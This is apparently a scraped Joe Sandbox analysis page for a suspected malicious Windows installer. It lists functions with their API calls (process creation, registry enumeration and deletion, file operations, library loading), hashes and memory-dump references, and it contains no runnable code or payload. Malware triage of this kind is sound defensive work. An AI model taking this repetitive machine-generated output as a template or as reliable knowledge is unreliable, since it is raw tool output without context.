Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: MessageSend$Librarylstrlen$FreeHandleLoadModuleTextWindowlstrcat
String ID:
API String ID: 334405425-0
Opcode ID: 673ead7fa0e448a1c5043ade6eeb1382bb3ed77738cd55eb2ad3f0262cc6e6ef
Instruction ID: 3664ba2fa099400b069473e4dbd5787d756d46fb785c5e03f539e90392346bbf
Opcode Fuzzy Hash: 673ead7fa0e448a1c5043ade6eeb1382bb3ed77738cd55eb2ad3f0262cc6e6ef
Instruction Fuzzy Hash: C9219231904108BADF11AFA5CF49A9D7A71FF84358F20413FF201B91E1CBBD8982AA5D

Function 00401BA0 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(00000000), ref: 00401C10
GlobalAlloc.KERNELBASE(00000040,00000804), ref: 00401C22

Strings

Exec, xrefs: 00401BC7, 00401BCD, 00401BE7

Memory Dump Source

Source File: 00000000.00000002.1449058394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1449034776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449077527.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449300540.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Global$AllocFree
String ID: Exec
API String ID: 3394109436-459137531
Opcode ID: fb5b9ebeaad3a79f54b281eda5c862824b880451e65e455491233296c99b22fc
Instruction ID: 52bd34c5afe528d1e7f7705a0b64ffdd7bdb14472fd10e075fda9825736fe234
Opcode Fuzzy Hash: fb5b9ebeaad3a79f54b281eda5c862824b880451e65e455491233296c99b22fc
Instruction Fuzzy Hash: B221F972900254E7D720BF98DD89E5E73B5AB04718711093FF552B76C0D7B8AC019B9D

Function 00402304 Relevance: 4.6, APIs: 3, Instructions: 51stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004068B4: FindFirstFileW.KERNELBASE(?,0042FAB8,C:\Users\user\AppData\Local\Temp\nsbB152.tmp,00405F77,C:\Users\user\AppData\Local\Temp\nsbB152.tmp,C:\Users\user\AppData\Local\Temp\nsbB152.tmp,00000000,C:\Users\user\AppData\Local\Temp\nsbB152.tmp,C:\Users\user\AppData\Local\Temp\nsbB152.tmp, 4Wu,?,C:\Users\user\AppData\Local\Temp\,00405C83,?,75573420,C:\Users\user\AppData\Local\Temp\), ref: 004068BF
Part of subcall function 004068B4: FindClose.KERNEL32(00000000), ref: 004068CB

lstrlenW.KERNEL32 ref: 00402344
lstrlenW.KERNEL32(00000000), ref: 0040234F
SHFileOperationW.SHELL32(?,?,?,00000000), ref: 00402378

Memory Dump Source

Source File: 00000000.00000002.1449058394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1449034776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449077527.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449300540.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: FileFindlstrlen$CloseFirstOperation
String ID:
API String ID: 1486964399-0
Opcode ID: 0f4398602f2a15397442c9cb80a4579519cf27728a25c26cde818a96ec5f227a
Instruction ID: 885267ae01076befc9d2550e8446c8d72b56611081dd9eb5b5e506e95b58587e
Opcode Fuzzy Hash: 0f4398602f2a15397442c9cb80a4579519cf27728a25c26cde818a96ec5f227a
Instruction Fuzzy Hash: 04117071900318AADB10EFB9D90AA9EB6F8AF14354F20543FA401F72D1DBB88941CB59

Function 004025A3 Relevance: 4.5, APIs: 3, Instructions: 47registryCOMMON

Download Yara Rule

APIs

RegEnumKeyW.ADVAPI32(00000000,00000000,?,000003FF), ref: 004025D6
RegEnumValueW.ADVAPI32(00000000,00000000,?,?), ref: 004025E9
RegCloseKey.ADVAPI32(?,?,?,C:\Users\user\AppData\Local\Temp\nsbB152.tmp,00000000,00000011,00000002), ref: 00402602

Memory Dump Source

Source File: 00000000.00000002.1449058394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1449034776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449077527.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449300540.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Enum$CloseValue
String ID:
API String ID: 397863658-0
Opcode ID: a30a11a05d1993aef0f7726c39992e41007362dd6c4f729a0cb4b13ed53f7ac1
Instruction ID: 3ff9118d8f065173f4d59a226331d9f1933cb8120024fa56e57d9af690fc2804
Opcode Fuzzy Hash: a30a11a05d1993aef0f7726c39992e41007362dd6c4f729a0cb4b13ed53f7ac1
Instruction Fuzzy Hash: 16017171904105ABEB149F949E58AAF7678FF40308F10443EF505B61C0DBB85E40A66D

Function 0040202F Relevance: 3.1, APIs: 2, Instructions: 65memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0040694B: GetModuleHandleA.KERNEL32(?,00000020,?,00403642,0000000C,?,?,?,?,?,?,?,?), ref: 0040695D
Part of subcall function 0040694B: GetProcAddress.KERNEL32(00000000,?), ref: 00406978

GetFileVersionInfoSizeW.KERNELBASE(0000000B,00000000,?,000000EE), ref: 00402045
GlobalAlloc.KERNEL32(00000040,00000000), ref: 00402064

Part of subcall function 0040649E: wsprintfW.USER32 ref: 004064AB

Memory Dump Source

Source File: 00000000.00000002.1449058394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1449034776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449077527.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449300540.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: AddressAllocFileGlobalHandleInfoModuleProcSizeVersionwsprintf
String ID:
API String ID: 2520467145-0
Opcode ID: 437d11790d74782efc94b12913d614b64cca238e61eba87ae2d2cc7f25da6320
Instruction ID: 763ad8e8b63f2924b10e93d9a85bf0a11dc22f08f43b137c8aa05ca7cc66be5b
Opcode Fuzzy Hash: 437d11790d74782efc94b12913d614b64cca238e61eba87ae2d2cc7f25da6320
Instruction Fuzzy Hash: E7213871900208AFDB11DFE5C985EEEBBB4EF08354F11402AFA05B62D0D7759E51DB64

Function 00401389 Relevance: 3.0, APIs: 2, Instructions: 43windowCOMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
SendMessageW.USER32(0040A2D8,00000402,00000000), ref: 004013F4

Memory Dump Source

Source File: 00000000.00000002.1449058394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1449034776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449077527.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449300540.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: a48e27458ca857e7bf1c95edfaa4f4fc3f64b4f364872359a8149092e2b898a4
Instruction ID: 0adee223d2b7ba7d815a442a2885e1f2b60e3b86eb1a18037e9b6c54a102055c
Opcode Fuzzy Hash: a48e27458ca857e7bf1c95edfaa4f4fc3f64b4f364872359a8149092e2b898a4
Instruction Fuzzy Hash: 0E01FF31620220AFE7195B389E05B6B3698E710329F10863FF851F62F1EA78DC429B4C

Function 00402439 Relevance: 3.0, APIs: 2, Instructions: 39registryCOMMON

Download Yara Rule

APIs

RegDeleteValueW.ADVAPI32(00000000,00000000,00000033), ref: 0040245B
RegCloseKey.ADVAPI32(00000000), ref: 00402464

Memory Dump Source

Source File: 00000000.00000002.1449058394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1449034776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449077527.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449300540.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CloseDeleteValue
String ID:
API String ID: 2831762973-0
Opcode ID: ac608fdb2779203a5befd5ae41b504f19679aceccba4adcfaa0019147e4ceade
Instruction ID: 0b96b132e490ce7cd6ce1444893b6524bba18796501a832965f154b7c78b6e42
Opcode Fuzzy Hash: ac608fdb2779203a5befd5ae41b504f19679aceccba4adcfaa0019147e4ceade
Instruction Fuzzy Hash: 82F06832A04510ABDB00BBA89A4D9EE62A5AF54314F11443FE502B71C1CAFC5D02966D

Function 00405AAB Relevance: 3.0, APIs: 2, Instructions: 26COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNELBASE(00437800,?), ref: 00405AED
GetLastError.KERNEL32 ref: 00405AFB

Memory Dump Source

Source File: 00000000.00000002.1449058394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1449034776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449077527.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449300540.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID:
API String ID: 1375471231-0
Opcode ID: 93d1f65b513afb97053b6d969de6af344d99c991354c8e43ed6bd2c6eb9068ab
Instruction ID: ed7a645988c2e2a06802fdc928ba12763e2e88a5fcf473fdfb2f1107ef0c66eb
Opcode Fuzzy Hash: 93d1f65b513afb97053b6d969de6af344d99c991354c8e43ed6bd2c6eb9068ab
Instruction Fuzzy Hash: 56F0F970D0060DDBDB00CFA4C5497DFBBB4AB04305F00812AD545B6281D7B95248CBA9

Function 00405B3A Relevance: 3.0, APIs: 2, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNELBASE(00000000,00437800,00000000,00000000,00000000,04000000,00000000,00000000,0042FA70,?,?,?,00437800,?), ref: 00405B63
CloseHandle.KERNEL32(?,?,?,00437800,?), ref: 00405B70

Memory Dump Source

Source File: 00000000.00000002.1449058394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1449034776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449077527.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449300540.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID:
API String ID: 3712363035-0
Opcode ID: 6fd2602221babf1a8a9a6246b82f99e4ae13039f11edd6951af80fecf8f79ee2
Instruction ID: b1032d8704f3223f2a9afbe03a7757fefc60a77e8ecf1711bb84520e71ece662
Opcode Fuzzy Hash: 6fd2602221babf1a8a9a6246b82f99e4ae13039f11edd6951af80fecf8f79ee2
Instruction Fuzzy Hash: 91E09AB4600219BFEB109B74AD06F7B767CE704604F408475BD15E2151D774A8158A78

Function 0040694B Relevance: 3.0, APIs: 2, Instructions: 22libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,00000020,?,00403642,0000000C,?,?,?,?,?,?,?,?), ref: 0040695D
GetProcAddress.KERNEL32(00000000,?), ref: 00406978

Part of subcall function 004068DB: GetSystemDirectoryW.KERNEL32(?,00000104), ref: 004068F2
Part of subcall function 004068DB: wsprintfW.USER32 ref: 0040692D
Part of subcall function 004068DB: LoadLibraryExW.KERNEL32(?,00000000,00000008), ref: 00406941

Memory Dump Source

Source File: 00000000.00000002.1449058394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1449034776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449077527.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449300540.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: AddressDirectoryHandleLibraryLoadModuleProcSystemwsprintf
String ID:
API String ID: 2547128583-0
Opcode ID: 38b25401b771ecf209a524bd0999a173af8b0ad39984603ae0a2953bb283c85e
Instruction ID: ff64ee7455e026c1647d72c339307a336527f79dacb59e64982fca04d7429b22
Opcode Fuzzy Hash: 38b25401b771ecf209a524bd0999a173af8b0ad39984603ae0a2953bb283c85e
Instruction Fuzzy Hash: 38E08673504210AFD61057705D04D27B3A89F85740302443EF946F2140DB34DC32ABA9

Function 00406047 Relevance: 3.0, APIs: 2, Instructions: 16fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(00000003,004030C2,C:\Users\user\Desktop\file.exe,80000000,00000003), ref: 0040604B
CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 0040606D

Memory Dump Source

Source File: 00000000.00000002.1449058394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1449034776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449077527.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449300540.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: 6be4d53c09d0ea7202590e2ef391dde9d68f005235e9a58d36352f422cb06a2c
Instruction ID: 9d50a09f5748d4f60ef03139cc16a9656d1073ae209d3065c053d14625e31d4c
Opcode Fuzzy Hash: 6be4d53c09d0ea7202590e2ef391dde9d68f005235e9a58d36352f422cb06a2c
Instruction Fuzzy Hash: 87D09E31654301AFEF098F20DE16F2EBAA2EB84B00F11552CB682941E0DA715819DB15

Function 00406022 Relevance: 3.0, APIs: 2, Instructions: 13COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,?,00405C27,?,?,00000000,00405DFD,?,?,?,?), ref: 00406027
SetFileAttributesW.KERNEL32(?,00000000), ref: 0040603B

Memory Dump Source

Source File: 00000000.00000002.1449058394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1449034776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449077527.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449300540.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: bc30e5c928ed30f9cb3e730bb3a024ff28878b527ec9bdb2640fa07c227b463d
Instruction ID: 97cbb32404f08d1f6fed837f871d2b37f55cf766f9720be9b575451f5cdabe77
Opcode Fuzzy Hash: bc30e5c928ed30f9cb3e730bb3a024ff28878b527ec9bdb2640fa07c227b463d
Instruction Fuzzy Hash: A3D0C972504220AFC2102728AE0889BBB55EB542717028A35FCA9A22B0CB304CA68694

Function 00405B05 Relevance: 3.0, APIs: 2, Instructions: 9COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNELBASE(?,00000000,00403525,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040381C,?,00000008,0000000A,0000000C), ref: 00405B0B
GetLastError.KERNEL32(?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00405B19

Memory Dump Source

Source File: 00000000.00000002.1449058394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1449034776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449077527.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449300540.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID:
API String ID: 1375471231-0
Opcode ID: 7ce514c051633c67dabed91c1ba2c830ad6f4192d7236d4c27a26ed09d9cb01d
Instruction ID: 8c4969e502f5bc4c8dfdefb7e9c2ba363b64d1215f12130c86bef4ebeef6f559
Opcode Fuzzy Hash: 7ce514c051633c67dabed91c1ba2c830ad6f4192d7236d4c27a26ed09d9cb01d
Instruction Fuzzy Hash: 19C08C30310902DACA802B209F087173960AB80340F158439A683E00B4CA30A065C92D

Function 0040173A Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

SearchPathW.KERNELBASE(?,00000000,?,00000400,?,?,000000FF), ref: 0040174E

Memory Dump Source

Source File: 00000000.00000002.1449058394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1449034776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449077527.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449300540.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: PathSearch
String ID:
API String ID: 2203818243-0
Opcode ID: d808a61f5ad900bf7ed85ac91a182ba8082c891450206748c020b13630da23e4
Instruction ID: 361b5ea4dce5ff5b5c0a009366d47470cb0510696b1a56dfa9010847a1c89de2
Opcode Fuzzy Hash: d808a61f5ad900bf7ed85ac91a182ba8082c891450206748c020b13630da23e4
Instruction Fuzzy Hash: 21E08071204104ABE700DB64DD49EAE77BCDF5036CF20553BE511E60D1E7B45905971D

Function 004063F2 Relevance: 1.5, APIs: 1, Instructions: 24registryCOMMON

Download Yara Rule

APIs

RegCreateKeyExW.KERNELBASE(00000000,?,00000000,00000000,00000000,?,00000000,?,00000000,?,?,?,00402E5C,00000000,?,?), ref: 0040641B

Memory Dump Source

Source File: 00000000.00000002.1449058394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1449034776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449077527.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449300540.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: b17b4e85cc10dff7c00d1995fa2300a068af545831f113dbcef6cd8b4d780b07
Instruction ID: 64249f1610b479570df181ce2e9e182bf10c6facee3c5f7fb09e5bef7ea49c41
Opcode Fuzzy Hash: b17b4e85cc10dff7c00d1995fa2300a068af545831f113dbcef6cd8b4d780b07
Instruction Fuzzy Hash: E6E0E672010109BFEF095F90DD4AD7B7B1DE708310F11492EF906D5051E6B5E9305674

Function 004060CA Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(00000000,00000000,00000004,00000004,00000000,000000FF,?,004034E7,00000000,00000000,0040330B,000000FF,00000004,00000000,00000000,00000000), ref: 004060DE

Memory Dump Source

Source File: 00000000.00000002.1449058394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1449034776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449077527.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
